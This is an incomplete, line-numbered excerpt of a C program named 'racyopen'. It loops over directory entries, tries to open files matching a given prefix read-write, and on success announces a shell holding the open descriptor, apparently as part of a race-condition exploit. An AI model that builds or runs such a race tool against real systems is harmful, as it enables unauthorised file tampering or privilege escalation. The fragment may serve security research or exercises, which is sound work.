10 int main(int argc, char *argv[]) {
11 if (argc != 3) { puts("invocation: ./racyopen <folder> <fileprefix>"); exit(1); }
14 DIR *dir = opendir(".");
15 int prefixlen = strlen(argv[2]);
18 while ((dent = readdir(dir)) != NULL) {
19 if (dent->d_name[0] == '.' && (dent->d_name[1] == '\0' || (dent->d_name[1] == '.' && dent->d_name[2] == '\0'))) continue;
20 if (strncmp(dent->d_name, argv[2], prefixlen) == 0) {
21 int fd = open(dent->d_name, O_RDWR);
23 printf("Saw a file (%s), but couldn't open it: %s\n", dent->d_name, strerror(errno));
26 printf("Success! Here's your shell with open fd.\n");
28 printf("\nshell exited, resuming race\n");